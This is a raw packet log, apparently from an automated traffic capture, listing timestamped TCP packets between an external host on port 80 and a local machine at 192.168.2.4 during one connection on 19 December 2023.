Dec 19, 2023 03:22:28.601463079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.601589918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.601667881 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.601687908 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.601847887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.601993084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.602008104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.602041960 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.602066994 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.602118969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.602190971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.602271080 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.602355957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.602442980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.602494001 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.602514982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.602612019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.602698088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.602761984 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.602791071 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.602844954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.602896929 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.602951050 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.603020906 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.603043079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.603110075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.603187084 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.603194952 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.603331089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.603390932 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.603415966 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.603481054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.603653908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.603765965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.603775978 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.603842974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.603914976 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.603955984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.604027033 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.604043007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.604111910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.604160070 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.604198933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.604309082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.604388952 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.604401112 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.604476929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.604543924 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.604598999 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.604651928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.604731083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.604806900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.604815960 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.604882002 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.604887962 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.605005980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.605067968 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.605093956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.605154037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.605212927 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.605351925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.605493069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.605741024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.605818033 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.605825901 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.605906010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.605995893 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.606010914 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.606070995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.606091976 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.606260061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.606316090 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.606338978 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.606417894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.606502056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.606523037 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.606622934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.606796026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.606851101 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.606874943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.606954098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.607003927 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.607032061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.607083082 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.607095957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.607208014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.607291937 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.607300997 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.607367992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.607440948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.607460976 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.607544899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.607629061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.607708931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.607753038 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.607810974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.607829094 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.607901096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.608041048 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.608088017 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.608145952 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.608220100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.608293056 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.608323097 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.608380079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.608416080 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.608468056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.608724117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.608819962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.608848095 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.608901024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.608973026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.608973980 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.609023094 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.609046936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.609116077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.609170914 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.609226942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.609307051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.609359026 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.609385014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.609469891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.609543085 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.609606981 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.609631062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.609699011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.609755993 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.609807968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.609879971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.609891891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.610042095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.610100985 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.610172033 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.610234976 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.610296965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.610322952 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.610394001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.610472918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.610543966 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.610596895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.610693932 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.610759974 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.610780001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.610846043 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.610898018 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.610990047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.611064911 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.611074924 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.611171961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.611258984 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.611272097 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.611354113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.611464977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.611515999 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.611520052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.611651897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.611701965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.611733913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.611783981 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.611829042 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.611931086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.611969948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.612059116 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.612091064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.612164974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.612188101 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.612245083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.612349987 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.612410069 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.612489939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.612564087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.612624884 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.612761974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.612818003 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.612963915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.613043070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.613111019 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.613183022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.613457918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.613535881 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.613547087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.613692999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.613780022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.613857985 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.613934994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.614007950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.614054918 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.614175081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.614227057 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.614250898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.614348888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.614392996 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.614504099 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.614590883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.614638090 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.614753962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.614840984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.614942074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.614989996 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.615031958 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.615221977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.615282059 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.615320921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.615411997 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.615469933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.615569115 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.615612984 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.615778923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.615890026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.615946054 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.615963936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.616059065 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.616132021 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.616179943 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.616234064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.616736889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.616745949 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.616801977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.616852045 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.616966009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.617079973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.617147923 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.617181063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.617254019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.617583990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.617650032 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.617748022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.617820978 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.617875099 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.617923021 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.617973089 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.617999077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.618081093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.618134975 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.618236065 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.618351936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.618402004 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.618592024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.618678093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.618766069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.618851900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.618887901 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.619061947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.619127035 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.619275093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.619333029 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.619343996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.619427919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.619471073 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.619507074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.619746923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.619841099 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.619848013 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.619992971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.620091915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.620202065 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.620250940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.620369911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.620377064 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.620533943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.620579958 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.620727062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.620850086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.620898008 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.621002913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.621089935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.621247053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.621340036 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.621341944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.621433020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.621488094 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.621522903 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.621581078 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.621603012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.621664047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.621747017 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.621825933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.621917009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.622018099 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.622041941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.622287989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.622314930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.622407913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.622410059 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.622493029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.622539997 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.622575045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.622622013 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.622731924 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.622838020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.622889996 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.622998953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.623080015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.623147964 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.623169899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.623238087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.623332024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.623387098 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.623498917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.623609066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.623673916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.623744965 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.623788118 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.623816013 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.624011993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.624078035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.624090910 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.624157906 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.624207020 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.624258041 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.624337912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.624566078 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.624618053 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.624779940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.624905109 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.624968052 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.624998093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.625049114 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.625092983 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.625253916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.625356913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.625370026 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.625508070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.625562906 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.625597954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.625669003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.625849962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.625919104 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.626192093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.626290083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.626327991 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.626369953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.626422882 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.626450062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.626543045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.626590967 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.626749039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.626951933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:28.627002001 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.627135038 CET	80	49738	91.215.85.17	192.168.2.4
